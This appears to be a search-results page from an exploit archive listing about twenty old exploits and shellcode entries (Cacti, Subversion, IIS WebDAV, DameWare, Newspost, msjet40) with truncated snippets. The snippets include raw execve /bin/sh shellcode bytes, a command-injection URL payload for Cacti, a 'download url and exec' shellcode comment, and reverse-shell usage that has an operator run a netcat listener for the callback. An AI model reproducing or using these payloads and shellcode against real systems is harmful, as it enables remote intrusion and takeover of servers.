427 matches found
Cacti 0.8.6d - Remote Command Execution
Cacti 0.8.6d - Remote Command Execution Note: This exploit contains backdoor shell code that is not located on this server. /str0ke !/usr/bin/perl Remote Command Execution Exploit for Cacti http://www.example.com/cacti/graphimage.php?localgraphid=validvalue&graphstart=%0acommand%0a Patch: downloa...
Cacti <= 0.8.6d Remote Command Execution Exploit
No description provided by source. Note: This exploit contains backdoor shell code that is not located on this server. /str0ke !/usr/bin/perl Remote Command Execution Exploit for Cacti = 0.8.6d This exploit open a remote shell on the targets that uses Cacti TARGET HOST MUST BE A GNU/LINUX SERVER,...
Cacti <= 0.8.6d Remote Command Execution Exploit
Exploit for unknown platform in category web applications ================================================ Cacti http://www.example.com/cacti/graphimage.php?localgraphid=validvalue&graphstart=%0acommand%0a Patch: download the last version http://www.cacti.net/downloadcacti.php Discovered and Code...
msjet40.txt
See-security Technologies ltd. http://www.see-security.com Microsoft Jet msjet40.dll Reverse Shell Exploit coded by Tal zeltzer Based on the exploit written by S.Pearson import sys import struct Addresses are compatible with Windows XP Service Pack 1 ReturnAddress = 0x77F51B93 Address of "jmp edx...
Newspost 2.1 socket_getline() Remote Buffer Overflow Exploit v2
No description provided by source. / v0.2 Newspost "socketgetline" Buffer Overflow Exploit Exploit Bug discovered: 02/03/2005 cybertronicatgmxdotnet cybertronic @ newspost $ gcc -o newspostexpl newspostexpl.c cybertronic @ newspost $ ./newspostexpl cyber tronic Usage ----- Bindshell ./newspostexp...
bsdi/x86 - execve /bin/sh 46 bytes
bsdi/x86 execve /bin/sh 46 bytes. Shellcode exploit for bsdix86 platform / BSDi execve of /bin/sh by v9 [email protected] / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. / "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" / 14 characters. /...
linux/x86 unix/SPARC execve /bin/sh 80 bytes
linux/x86 unix/SPARC execve /bin/sh 80 bytes. Shellcode exploits for multiple platform / Linux/x86 and Unix/Sparc execve of /bin/sh by dymitri!!! / include char wcode= "\x90\x90\xeb\x34\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc"...
linux/x86 break chroot execve /bin/sh 80 bytes
linux/x86 break chroot execve /bin/sh 80 bytes. Shellcode exploit for linx86 platform / This is Linux chroot/execve code.It is 80 bytes long.I have some ideas how to make it smaller, but till then use this one. signed predator linux registered user : 181116 preedatoratsendmaildotru / char...
linux/x86 execve /bin/sh 30 bytes
Exploit for linux/x86 platform in category shellcode ================================= linux/x86 execve /bin/sh 30 bytes ================================= / email protected 20 de marzo de 2001 "\x31\xdb" // xorl %ebx,%ebx "\x8d\x43\x17" // leal 0x17%ebx,%eax "\xcd\x80" // int $0x80 "\x31\xd2" //...
Subversion 1.0.2 - 'svn_time_from_cstring()' Remote Overflow
/ subversion-1.0.2 exploit by Gyan Chawdhary ... exploits a stack overflow in the svntimefromcstring function. We build a date format which is valid but at the same time exits after the sscanf function, or else it branches into another function which segfaults at the aprpoolt pool. We overwrite o...
Subversion 1.0.2 svn_time_from_cstring() Remote Exploit
Exploit for linux platform in category remote exploits ======================================================= Subversion 1.0.2 svntimefromcstring Remote Exploit ======================================================= / subversion-1.0.2 exploit by Gyan Chawdhary ... exploits a stack overflow in t...
DameWare Mini Remote Control Server - System
DameWare Mini Remote Control Server - System / DameWare Mini Remote Control Server Local SYSTEM Exploit Vulnerable Versions Prior to 3.71.0.0 by [email protected] This code is based on shards.cpp by xenophile / define WIN32LEANANDMEAN include include pragma warningdisable: 4305 pragma...
Multiple Buffer Overflows in IglooFTP PRO
Multiple Buffer Overflows in IglooFTP PRO Url: http://www.iglooftp.com IglooFTP PRO is an extremely powerful, easy to use and well designed FTP client. Perhaps my personal favourite. It is extremely easy to use, but doesn't lack the configurability needed for advanced users. It it this award...
Microsoft Windows XP - explorer.exe Local Buffer Overflow
Microsoft Windows XP - explorer.exe Local Buffer Overflow include include include include include char shellcode= //download url and exec shellcode //doesn't have any hardcoded values //except the base address of the program //searches the import table for //LoadLibraryA, GetProcAddress and...
Microsoft IIS - WebDAV ntdll.dll Remote Overflow
Microsoft IIS - WebDAV ntdll.dll Remote Overflow // / Crpt ntdll.dll exploit trough WebDAV by kralor Crpt / / --------------------------------------------------------------- / / this is the exploit for ntdll.dll through WebDAV. / / run a netcat ex: nc -L -vv -p 666 / / wb server.com yourip 666 0 ...
Code Injection in phpBB Advanced Quick Reply Mod
Software: phpBB Advanced Quick Reply Mod I've found a security hole in this sofware Code Injection. You can download this software at http://phpbbhacks.com/viewhack.php?id=586 Hackers can exploit this Mod to inject some shell code to hack your forum, your website or your server local exploit...
asctime-poc
; Proof of concept Code for asctime exploit ; Author: James Martin ; Website: http://www.uuuppz.com ; Email: [email protected] ; ; Usage: ; /asctimepoc notepad c:\autoexec.nat ; /asctimepoc command.com /c echo Your have been rooted c:\rooted.txt ; etc : ; ; /asctimepoc ; Set Show State ; ; Valid...
Solaris_x86_mail_exploit.txt
Greetings, A few weeks ago I posted regarding an overflow in /usr/bin/mail on Solaris 2.7. I incorrectly stated that mail drops privs before the overflow occurs. Cheez Whiz, who wrote the shellcode, saw my post on Packetstorm and supplied the following information: ...The problem with your presen...
Дыра в kicq / licq
Можно вставить шелл-код в URL...
SCO OpenServer 5.0.5 - Env Local Stack Overflow
/ Copyright c 2000 ADM / / All Rights Reserved / / THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM / / The copyright notice above does not evidence any / / actual or intended publication of such source code. / / / / Title: SCO OpenServer mscreen / / Tested under: SCO OpenServer 5.0.5 / / By: K...